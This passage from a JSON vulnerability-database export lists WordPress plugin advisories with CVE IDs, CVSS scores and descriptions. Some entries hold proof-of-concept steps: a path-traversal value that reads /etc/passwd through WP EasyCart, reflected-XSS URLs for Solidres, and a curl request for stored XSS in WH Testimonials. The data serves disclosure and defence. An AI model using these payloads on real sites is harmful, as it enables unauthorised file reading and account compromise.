/wp-admin/admin-ajax.php?_fs_blog_admin=true HTTP/1.1 Cookie: wordpress_b92078c82d0f1044cdfb065e7ae28bec=admin%7C1675522971%; PHPSESSID=qp0lnu3uc71tv3hl6jcgsknnjd; wpeasycart_admin_perpage=25 action=ec_admin_ajax_import_products&import;_file_url=http%3A%2F%2F127.0.0.1%2Fwp-content%2Fuploads%2F2023%2F02%2Fresume_xss.png&wp;_easycart_nonce=fd850a701e ``` 4\\. Change the value of `import_file_url` to a file (ex: `/../../../../../etc/passwd`) 5\\. Send the request and you will see that the contents of `/etc/passwd` is obtained Note: only first line is obtained in the response.\n", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-03-13T00:00:00", "type": "wpvulndb", "title": "Shopping Cart & eCommerce Store < 5.4.3 - Admin+ LFI", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.4, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1124"], "modified": "2023-03-13T09:26:53", "id": "WPVDB-ID:229B93CD-544B-4877-8D9F-E6DEBDA9511C", "href": "https://wpscan.com/vulnerability/229b93cd-544b-4877-8d9f-e6debda9511c", "sourceData": "", "cvss": {"score": 5.8, "vector": "AV:N/AC:L/Au:M/C:P/I:P/A:P"}}, {"lastseen": "2023-06-25T21:02:50", "description": "The plugin does not sanitise and escape numerous parameter before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin\n\n### PoC\n\nMake a logged in admin open https://example.com/wp-admin/admin.php?page=sr-assets&filter;_city_listing=\"> https://example.com/wp-admin/admin.php?page=sr-reservations&filter;_customer_fullname=\">&filter;_guest_fullname=\">&filter;_checkin_from=\">&filter;_checkin_to=\">&filter;_checkout_from=\">&filter;_checkout_to=\"> Other pages & parameters are affected\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-13T00:00:00", "type": "wpvulndb", "title": "Solidres <= 0.9.4 - Multiple Reflected XSS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1377"], "modified": "2023-03-13T15:13:11", "id": "WPVDB-ID:C346FF80-C16B-4219-8983-708C64FA4A61", "href": "https://wpscan.com/vulnerability/c346ff80-c16b-4219-8983-708c64fa4a61", "sourceData": "", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-07-14T20:38:39", "description": "The plugin does not properly sanitise and escape the banner_id parameter before using it in a SQL statement, leading to a SQL injection exploitable by any authenticated users, such as subscribers\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2023-03-17T00:00:00", "type": "wpvulndb", "title": "WP Popup Banners <= 1.2.5 - Subscriber+ SQLi", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1471"], "modified": "2023-03-17T15:24:10", "id": "WPVDB-ID:E8A30EB6-72CA-4469-83A7-041D6A1D9E96", "href": "https://wpscan.com/vulnerability/e8a30eb6-72ca-4469-83a7-041d6a1d9e96", "sourceData": "", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:P/I:N/A:N"}}, {"lastseen": "2023-06-25T20:52:10", "description": "The plugin does not sanitise and escape the wh_homepage, wh_text_short and wh_text_full parameters of submitted Testimonials, which could allow unauthenticated attackers to perform Stored Cross-Site Scripting attacks\n\n### PoC\n\ncurl -X POST 'http://example.com/add/' \\ -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLKXxMfAqKI63OgZ4' \\ -H 'Host: example.com' \\ -H 'Content-Length: XXX' \\ -d $'------WebKitFormBoundaryLKXxMfAqKI63OgZ4\\r\\nContent-Disposition: form-data; name=\"wh_clientname\"\\r\\n\\r\\nFirst Name\\r\\n------WebKitFormBoundaryLKXxMfAqKI63OgZ4\\r\\nContent-Disposition: form-data; name=\"wh_company\"\\r\\n\\r\\nLast Name\\r\\n------WebKitFormBoundaryLKXxMfAqKI63OgZ4\\r\\nContent-Disposition: form-data; name=\"wh_homepage\"\\r\\n\\r\\n\\\">\\r\\n------WebKitFormBoundaryLKXxMfAqKI63OgZ4\\r\\nContent-Disposition: form-data; name=\"wh_text_short\"\\r\\n\\r\\nShort Review\\r\\n------WebKitFormBoundaryLKXxMfAqKI63OgZ4\\r\\nContent-Disposition: form-data; name=\"wh_text_full\"\\r\\n\\r\\nLong Review\\r\\n------WebKitFormBoundaryLKXxMfAqKI63OgZ4\\r\\nContent-Disposition: form-data; name=\"wh_sfimgurl\"; filename=\"\"\\r\\nContent-Type: application/octet-stream\\r\\n\\r\\n\\r\\n------WebKitFormsoundaryLKXxMfAqKI63OgZ4\\r\\nContent-Disposition: form-data; name=\"Wh_addnew\"\\r\\n\\r\\nAdd Testimonial\\r\\n------WebKitFormBoundaryLKXxMfAqKI63OgZ4--\\r\\n'\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-11T00:00:00", "type": "wpvulndb", "title": "WH Testimonials <= 3.0.0 - Unauthenticated Stored XSS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1372"], "modified": "2023-03-13T14:16:31", "id": "WPVDB-ID:7F8E4A22-4349-483E-8071-07292AE96730", "href": "https://wpscan.com/vulnerability/7f8e4a22-4349-483e-8071-07292ae96730", "sourceData": "", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-07-14T20:28:57", "description": "The plugin does not sanitise and escape some parameters, which could allow unauthenticated users to perform Stored Cross-Site Scripting attacks\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-17T00:00:00", "type": "wpvulndb", "title": "Bookly < 21.6 - Unauthenticated Stored XSS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1172"], "modified": "2023-03-17T15:23:40", "id": "WPVDB-ID:AD3DEA0F-896D-4303-88B6-8A485837334D", "href": "https://wpscan.com/vulnerability/ad3dea0f-896d-4303-88b6-8a485837334d", "sourceData": "", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-06-29T20:58:07", "description": "The plugin does not have authorisation and CSRF checks in various AJAX actions (such as deleting logs files etc), allowing them to be called by any authenticated users, such a subscriber or via CSRF attacks\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.4}, "published": "2023-03-10T00:00:00", "type": "wpvulndb", "title": "RapidLoad Power-Up for Autoptimize < 1.7.2 - Unauthorised AJAX Calls", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1333", "CVE-2023-1334", "CVE-2023-1335", "CVE-2023-1336", "CVE-2023-1337", "CVE-2023-1338", "CVE-2023-1339", "CVE-2023-1340", "CVE-2023-1341", "CVE-2023-1342", "CVE-2023-1343", "CVE-2023-1344", "CVE-2023-1345", "CVE-2023-1346", "CVE-2023-1472"], "modified": "2023-06-22T15:22:54", "id": "WPVDB-ID:F95CB064-EEF1-4210-BDF3-93661CA36F9C", "href": "https://wpscan.com/vulnerability/f95cb064-eef1-4210-bdf3-93661ca36f9c", "sourceData": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-25T20:50:05", "description": "The plugin does not have authorisation and CSRF checks in multiple AJAX actions, which could allow users with a role as low as subscriber (or an attacker making any authenticated user open a malicious page) to call them and modify the plugins cache, add a new license, delete logs files, update cache rules etc.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.4}, "published": "2023-03-10T00:00:00", "type": "wpvulndb", "title": "RapidLoad Power-Up for Autoptimize < 1.7.2 - Multiple Subscriber+ Unauthorised AJAX Calls", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1333", "CVE-2023-1334", "CVE-2023-1335", "CVE-2023-1336", "CVE-2023-1337", "CVE-2023-1338", "CVE-2023-1339", "CVE-2023-1340", "CVE-2023-1341", "CVE-2023-1342", "CVE-2023-1343", "CVE-2023-1344", "CVE-2023-1345", "CVE-2023-1346", "CVE-2023-1472"], "modified": "2023-03-17T15:05:52", "id": "WPVDB-ID:61001DB3-6183-43B3-976C-06C2D7991683", "href": "https://wpscan.com/vulnerability/61001db3-6183-43b3-976c-06c2d7991683", "sourceData": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "prion": [{"lastseen": "2023-08-15T23:49:51", "description": "Cross-Site Request Forgery (CSRF) vulnerability in German Krutov LOGIN AND REGISTRATION ATTEMPTS LIMIT plugin <=\u00a02.1 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-05-25T09:15:00", "type": "prion", "title": "CVE-2022-47138", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47138"], "modified": "2023-05-31T19:25:00", "id": "PRION:CVE-2022-47138", "href": "https://kb.prio-n.com/vulnerability/CVE-2022-47138", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-15T23:49:51", "description": "Cross-Site Request Forgery (CSRF) vulnerability in Damir Calusic WP Basic Elements plugin <=\u00a05.2.15 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-05-25T09:15:00", "type": "prion", "title": "CVE-2022-47139", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47139"], "modified": "2023-05-31T19:22:00", "id": "PRION:CVE-2022-47139", "href": "https://kb.prio-n.com/vulnerability/CVE-2022-47139", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-15T14:15:59", "description": "Auth. (contributor+) Stored Cross-site Scripting (XSS) vulnerability in RoboSoft Photo Gallery, Images, Slider in Rbs Image Gallery plugin <= 3.2.12 versions.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-04-07T14:15:00", "type": "prion", "title": "CVE-2023-27620", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-27620"], "modified": "2023-04-13T12:57:00", "id": "PRION:CVE-2023-27620", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-27620", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T23:49:56", "description": "Cross-Site Request Forgery (CSRF) vulnerability in MagePeople Team Event Manager and Tickets Selling Plugin for WooCommerce plugin <=\u00a03.7.7 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-05-25T09:15:00", "type": "prion", "title": "CVE-2022-47164", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47164"], "modified": "2023-05-30T20:55:00", "id": "PRION:CVE-2022-47164", "href": "https://kb.prio-n.com/vulnerability/CVE-2022-47164", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-15T23:48:53", "description": "Cross-Site Request Forgery (CSRF) vulnerability in Marty Thornley Bulk Resize Media plugin <=\u00a01.1 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-05-25T09:15:00", "type": "prion", "title": "CVE-2022-46865", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-46865"], "modified": "2023-05-31T19:17:00", "id": "PRION:CVE-2022-46865", "href": "https://kb.prio-n.com/vulnerability/CVE-2022-46865", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-15T14:19:27", "description": "Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Prism Tech Studios Modern Footnotes plugin <=\u00a01.4.15 versions.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-06-22T09:15:00", "type": "prion", "title": "CVE-2023-28423", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-28423"], "modified": "2023-06-28T03:26:00", "id": "PRION:CVE-2023-28423", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-28423", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T13:50:09", "description": "Auth. (contributor+) Stored Cross-Site Scripting (XSS) vulnerability in Surbma Surbma | GDPR Proof Cookie Consent & Notice Bar plugin <=\u00a017.5.3 versions.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T22:15:00", "type": "prion", "title": "CVE-2023-23894", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-23894"], "modified": "2023-05-11T19:08:00", "id": "PRION:CVE-2023-23894", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-23894", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T13:51:13", "description": "Cross-Site Request Forgery (CSRF) vulnerability in Scott Paterson Contact Form 7 Redirect & Thank You Page plugin <=\u00a01.0.3 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-07-10T16:15:00", "type": "prion", "title": "CVE-2023-24395", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-24395"], "modified": "2023-07-13T00:09:00", "id": "PRION:CVE-2023-24395", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-24395", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-15T14:19:44", "description": "Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in SMTP2GO \u2013 Email Made Easy plugin <=\u00a01.4.2 versions.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-06-22T09:15:00", "type": "prion", "title": "CVE-2023-28496", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-28496"], "modified": "2023-06-28T07:08:00", "id": "PRION:CVE-2023-28496", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-28496", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-08-15T13:58:59", "description": "Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Teplitsa Yandex.News Feed by Teplitsa plugin <=\u00a01.12.5 versions.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T13:15:00", "type": "prion", "title": "CVE-2023-25052", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, 